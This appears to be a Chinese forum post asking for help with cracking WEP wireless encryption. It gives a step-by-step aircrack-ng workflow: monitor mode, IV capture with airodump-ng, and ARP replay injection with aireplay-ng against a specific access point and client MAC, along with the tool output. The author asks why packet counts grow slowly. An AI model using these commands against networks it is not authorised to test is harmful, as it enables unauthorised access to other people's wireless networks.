一、我的流程如下: 1、首先查看本地无线网卡,我的是eth1 ,是intel 的 2200bg; 2、然后启动无线网卡监听模式,至于频道,可以在airodump-ng 中更改-c 后面的参数,从1到13,然后看哪个频道有合适的AP和客户端。6号频道信号丰富 airmon-ng start eth1 6 3、执行监听。 airodump-ng --ivs -w abc -c 6 eth1 执行后,能发现很多东西,唯一问题是data包增长太慢,一个小时不到1000个。要等到20万个很难。 4、准备采用arp攻击方式加快data包的获得 假设 AP的MAC地址 00:19:E1:AC:CC:46 与该AP通讯的客户端MAC地址 00:16:2F:9A:ED:E3 aireplay-ng -3 -b 00:19:E1:AC:CC:46 -h 00:16:2F:9A:ED:E3 eth1 刚开始时显示 Read 20 packets(got 0 ARP requests),send 0 packets 一会儿显示 Read 1500 packets(got 12 ARP requests),send 1000 packets 20分钟过后显示 Read 85100 packets(got 1083 ARP requests),send 50000 packets 但问题是,data包增长缓慢,仅1000多个,这是什么原因呢?请教各位高手 二、第二个问题
airmon-ng start wifi0 6 wlanconfig ath0 destroy ifconfig ath1 up iwconfig ath1 mode monitor channel 6 是不是等同 airmon-ng start ath1 6 的功能呢? |